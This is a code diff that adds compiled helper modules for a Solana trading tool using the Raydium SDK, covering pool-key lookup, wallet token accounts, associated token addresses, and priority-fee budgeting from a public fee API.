+
}[]>;
|
|
25
|
+
export declare const getAvailablePoolKeyAndPoolInfo: (connection: Connection, baseToken: Token, quoteToken: Token, marketAccounts: any) => Promise<{
|
|
26
|
+
poolKeys: any;
|
|
27
|
+
poolInfo: any;
|
|
28
|
+
}>;
|
|
29
|
+
export declare function getATAAddress(programId: PublicKey, owner: PublicKey, mint: PublicKey): {
|
|
30
|
+
publicKey: PublicKey;
|
|
31
|
+
nonce: number;
|
|
32
|
+
};
|
|
33
|
+
export declare const sleep: (ms: number) => Promise<unknown>;
|
|
@@ -0,0 +1,129 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || function (mod) {
|
|
19
|
+
if (mod && mod.__esModule) return mod;
|
|
20
|
+
var result = {};
|
|
21
|
+
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
|
|
22
|
+
__setModuleDefault(result, mod);
|
|
23
|
+
return result;
|
|
24
|
+
};
|
|
25
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
26
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
27
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
28
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
29
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
30
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
31
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
32
|
+
});
|
|
33
|
+
};
|
|
34
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
35
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
36
|
+
};
|
|
37
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
38
|
+
exports.sleep = exports.getATAAddress = exports.getAvailablePoolKeyAndPoolInfo = exports.getWalletAccounts = exports.getConnection = exports.xWeiAmount = exports.checkFileExists = void 0;
|
|
39
|
+
const bn_js_1 = __importDefault(require("bn.js"));
|
|
40
|
+
const fs = __importStar(require("fs"));
|
|
41
|
+
const bignumber_js_1 = __importDefault(require("bignumber.js"));
|
|
42
|
+
const web3_js_1 = require("@solana/web3.js");
|
|
43
|
+
const global_1 = require("./global");
|
|
44
|
+
const spl_token_1 = require("@solana/spl-token");
|
|
45
|
+
const raydium_sdk_1 = require("@raydium-io/raydium-sdk");
|
|
46
|
+
const serum_1 = require("@project-serum/serum");
|
|
47
|
+
function checkFileExists(filePath) {
|
|
48
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
49
|
+
try {
|
|
50
|
+
yield fs.promises.access(filePath, fs.constants.F_OK);
|
|
51
|
+
return true; // File exists
|
|
52
|
+
}
|
|
53
|
+
catch (error) {
|
|
54
|
+
return false; // File doesn't exist
|
|
55
|
+
}
|
|
56
|
+
});
|
|
57
|
+
}
|
|
58
|
+
exports.checkFileExists = checkFileExists;
|
|
59
|
+
const xWeiAmount = (amount, decimals) => {
|
|
60
|
+
return new bn_js_1.default(new bignumber_js_1.default(amount.toString() + "e" + decimals.toString()).toFixed(0));
|
|
61
|
+
};
|
|
62
|
+
exports.xWeiAmount = xWeiAmount;
|
|
63
|
+
const getConnection = (commitment) => {
|
|
64
|
+
return new web3_js_1.Connection(global_1.EnvironmentManager.getRpcNetUrl(), commitment);
|
|
65
|
+
};
|
|
66
|
+
exports.getConnection = getConnection;
|
|
67
|
+
const getWalletAccounts = (connection, wallet) => __awaiter(void 0, void 0, void 0, function* () {
|
|
68
|
+
const wallet_token_account = yield connection.getTokenAccountsByOwner(wallet, {
|
|
69
|
+
programId: spl_token_1.TOKEN_PROGRAM_ID
|
|
70
|
+
});
|
|
71
|
+
return wallet_token_account.value.map((i) => ({
|
|
72
|
+
pubkey: i.pubkey,
|
|
73
|
+
programId: i.account.owner,
|
|
74
|
+
accountInfo: raydium_sdk_1.SPL_ACCOUNT_LAYOUT.decode(i.account.data)
|
|
75
|
+
}));
|
|
76
|
+
});
|
|
77
|
+
exports.getWalletAccounts = getWalletAccounts;
|
|
78
|
+
const getAvailablePoolKeyAndPoolInfo = (connection, baseToken, quoteToken, marketAccounts) => __awaiter(void 0, void 0, void 0, function* () {
|
|
79
|
+
let bFound = false;
|
|
80
|
+
let count = 0;
|
|
81
|
+
let poolKeys;
|
|
82
|
+
let poolInfo;
|
|
83
|
+
while (bFound === false && count < marketAccounts.length) {
|
|
84
|
+
const marketInfo = serum_1.MARKET_STATE_LAYOUT_V3.decode(marketAccounts[count].accountInfo.data);
|
|
85
|
+
poolKeys = raydium_sdk_1.Liquidity.getAssociatedPoolKeys({
|
|
86
|
+
version: 4,
|
|
87
|
+
marketVersion: 3,
|
|
88
|
+
baseMint: baseToken.mint,
|
|
89
|
+
quoteMint: quoteToken.mint,
|
|
90
|
+
baseDecimals: baseToken.decimals,
|
|
91
|
+
quoteDecimals: quoteToken.decimals,
|
|
92
|
+
marketId: marketAccounts[count].publicKey,
|
|
93
|
+
programId: global_1.EnvironmentManager.getProgramID().AmmV4,
|
|
94
|
+
marketProgramId: global_1.EnvironmentManager.getProgramID().OPENBOOK_MARKET
|
|
95
|
+
});
|
|
96
|
+
poolKeys.marketBaseVault = marketInfo.baseVault;
|
|
97
|
+
poolKeys.marketQuoteVault = marketInfo.quoteVault;
|
|
98
|
+
poolKeys.marketBids = marketInfo.bids;
|
|
99
|
+
poolKeys.marketAsks = marketInfo.asks;
|
|
100
|
+
poolKeys.marketEventQueue = marketInfo.eventQueue;
|
|
101
|
+
try {
|
|
102
|
+
poolInfo = yield raydium_sdk_1.Liquidity.fetchInfo({
|
|
103
|
+
connection: connection,
|
|
104
|
+
poolKeys: poolKeys
|
|
105
|
+
});
|
|
106
|
+
bFound = true;
|
|
107
|
+
console.log("Success to get pool infos...");
|
|
108
|
+
}
|
|
109
|
+
catch (error) {
|
|
110
|
+
bFound = false;
|
|
111
|
+
poolInfo = undefined;
|
|
112
|
+
poolKeys = undefined;
|
|
113
|
+
console.log("Failed to get pool infos...");
|
|
114
|
+
}
|
|
115
|
+
count++;
|
|
116
|
+
}
|
|
117
|
+
return {
|
|
118
|
+
poolKeys: poolKeys,
|
|
119
|
+
poolInfo: poolInfo
|
|
120
|
+
};
|
|
121
|
+
});
|
|
122
|
+
exports.getAvailablePoolKeyAndPoolInfo = getAvailablePoolKeyAndPoolInfo;
|
|
123
|
+
function getATAAddress(programId, owner, mint) {
|
|
124
|
+
const { publicKey, nonce } = (0, raydium_sdk_1.findProgramAddress)([owner.toBuffer(), programId.toBuffer(), mint.toBuffer()], new web3_js_1.PublicKey("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL"));
|
|
125
|
+
return { publicKey, nonce };
|
|
126
|
+
}
|
|
127
|
+
exports.getATAAddress = getATAAddress;
|
|
128
|
+
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
|
|
129
|
+
exports.sleep = sleep;
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
/// <reference types="jito-ts/node_modules/@solana/web3.js" />
|
|
2
|
+
import { ComputeBudgetConfig } from "@raydium-io/raydium-sdk";
|
|
3
|
+
import { TransactionInfo } from "../instructions/build-instruction";
|
|
4
|
+
import { Connection } from "@solana/web3.js";
|
|
5
|
+
export declare const sell_remove_fees = 5000000;
|
|
6
|
+
export declare function getComputeBudgetConfig(): Promise<ComputeBudgetConfig | undefined>;
|
|
7
|
+
export declare function getComputeBudgetConfigHigh(): Promise<ComputeBudgetConfig | undefined>;
|
|
8
|
+
export declare function getLamports(decimal: number): number;
|
|
9
|
+
export declare function setTransactionBudget(connection: Connection, transactions: TransactionInfo[], tip: number): Promise<TransactionInfo[] | undefined>;
|
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
3
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
4
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
5
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
6
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
7
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
8
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
9
|
+
});
|
|
10
|
+
};
|
|
11
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
12
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
13
|
+
};
|
|
14
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
15
|
+
exports.setTransactionBudget = exports.getLamports = exports.getComputeBudgetConfigHigh = exports.getComputeBudgetConfig = exports.sell_remove_fees = void 0;
|
|
16
|
+
const axios_1 = __importDefault(require("axios"));
|
|
17
|
+
const web3_js_1 = require("@solana/web3.js");
|
|
18
|
+
const errors_1 = require("../errors");
|
|
19
|
+
exports.sell_remove_fees = 5000000;
|
|
20
|
+
function getComputeBudgetConfig() {
|
|
21
|
+
var _a;
|
|
22
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
23
|
+
const response = yield axios_1.default.get("https://solanacompass.com/api/fees");
|
|
24
|
+
const json = response.data;
|
|
25
|
+
const { avg } = (_a = json === null || json === void 0 ? void 0 : json[15]) !== null && _a !== void 0 ? _a : {};
|
|
26
|
+
if (!avg)
|
|
27
|
+
return undefined; // fetch error
|
|
28
|
+
return {
|
|
29
|
+
units: 600000,
|
|
30
|
+
microLamports: Math.min(Math.ceil((avg * 1000000) / 600000), 25000)
|
|
31
|
+
};
|
|
32
|
+
});
|
|
33
|
+
}
|
|
34
|
+
exports.getComputeBudgetConfig = getComputeBudgetConfig;
|
|
35
|
+
function getComputeBudgetConfigHigh() {
|
|
36
|
+
var _a;
|
|
37
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
38
|
+
const response = yield axios_1.default.get("https://solanacompass.com/api/fees");
|
|
39
|
+
const json = response.data;
|
|
40
|
+
const { avg } = (_a = json === null || json === void 0 ? void 0 : json[15]) !== null && _a !== void 0 ? _a : {};
|
|
41
|
+
if (!avg)
|
|
42
|
+
return undefined; // fetch error
|
|
43
|
+
return {
|
|
44
|
+
units: exports.sell_remove_fees,
|
|
45
|
+
microLamports: Math.min(Math.ceil((avg * 1000000) / 600000), 25000)
|
|
46
|
+
};
|
|
47
|
+
});
|
|
48
|
+
}
|
|
49
|
+
exports.getComputeBudgetConfigHigh = getComputeBudgetConfigHigh;
|
|
50
|
+
function getLamports(decimal) {
|
|
51
|
+
return Math.pow(10, decimal);
|
|
52
|
+
}
|
|
53
|
+
exports.getLamports = getLamports;
|
|
54
|
+
function setTransactionBudget(connection, transactions, tip) {
|
|
55
|
+
return __awaiter(this, void 0, void 0, function* () {
|
|
56
|
+
try {
|
|
57
|
+
const txs = [...transactions];
|
|
58
|
+
const tipInst = web3_js_1.ComputeBudgetProgram.setComputeUnitPrice({
|
|
59
|
+
microLamports: tip * web3_js_1.LAMPORTS_PER_SOL
|
|
60
|
+
});
|
|
61
|
+
for (const tx of txs) {
|
|
62
|
+
const addressLookupTableAccounts = yield Promise.all(tx.txn.message.addressTableLookups.map((lookup) => __awaiter(this, void 0, void 0, function* () {
|
|
63
|
+
return new web3_js_1.AddressLookupTableAccount({
|
|
64
|
+
key: lookup.accountKey,
|
|
65
|
+
state: web3_js_1.AddressLookupTableAccount.deserialize(yield connection
|
|
66
|
+
.getAccountInfo(lookup.accountKey)
|
|
67
|
+
.then((res) => res.data))
|
|
68
|
+
});
|
|
69
|
+
})));
|
|
70
|
+
const message = web3_js_1.TransactionMessage.decompile(tx.txn.message, {
|
|
71
|
+
addressLookupTableAccounts: addressLookupTableAccounts
|
|
72
|
+
});
|
|
73
|
+
message.instructions.push(tipInst);
|
|
74
|
+
tx.txn.message = message.compileToV0Message(addressLookupTableAccounts);
|
|
75
|
+
}
|
|
76
|
+
return [...txs];
|
|
77
|
+
}
|
|
78
|
+
catch (error) {
|
|
79
|
+
throw new errors_1.SetTxPriorityError(`SetTxPriorityError: ${error}`);
|
|
80
|
+
}
|
|
81
|
+
});
|
|
82
|
+
}
|
|
83
|
+
exports.setTransactionBudget = setTransactionBudget;
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.getParsedError = void 0;
|
|
4
|
+
const getParsedError = (error) => {
|
|
5
|
+
var _a;
|
|
6
|
+
let parsedErr = { name: "", errorCode: "", errorMsg: "" };
|
|
7
|
+
if (error.name && error.name.length > 0) {
|
|
8
|
+
parsedErr.name = error.name;
|
|
9
|
+
const errorMsg = error.message.split(":");
|
|
10
|
+
parsedErr.errorCode = errorMsg.at(0).toString();
|
|
11
|
+
parsedErr.errorMsg = error.message.slice((_a = errorMsg.at(0)) === null || _a === void 0 ? void 0 : _a.length);
|
|
12
|
+
}
|
|
13
|
+
return parsedErr;
|
|
14
|
+
};
|
|
15
|
+
exports.getParsedError = getParsedError;
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
/// <reference types="jito-ts/node_modules/@solana/web3.js" />
|
|
2
|
+
import { Connection, PublicKey } from "@solana/web3.js";
|
|
3
|
+
import { TokenAccount } from "@raydium-io/raydium-sdk";
|
|
4
|
+
import BN from "bn.js";
|
|
5
|
+
export declare function getWalletTokenAccount(connection: Connection, wallet: PublicKey): Promise<TokenAccount[]>;
|
|
6
|
+
export declare function getATAAddress(programId: PublicKey, owner: PublicKey, mint: PublicKey): {
|
|
7
|
+
publicKey: PublicKey;
|
|
8
|
+
nonce: number;
|
|
9
|
+
};
|
|
10
|
+
export declare const xWeiAmount: (amount: number, decimals: number) => BN;
|
|
11
|
+
export declare function randomDivide(amount: number, holders: number): number[];
|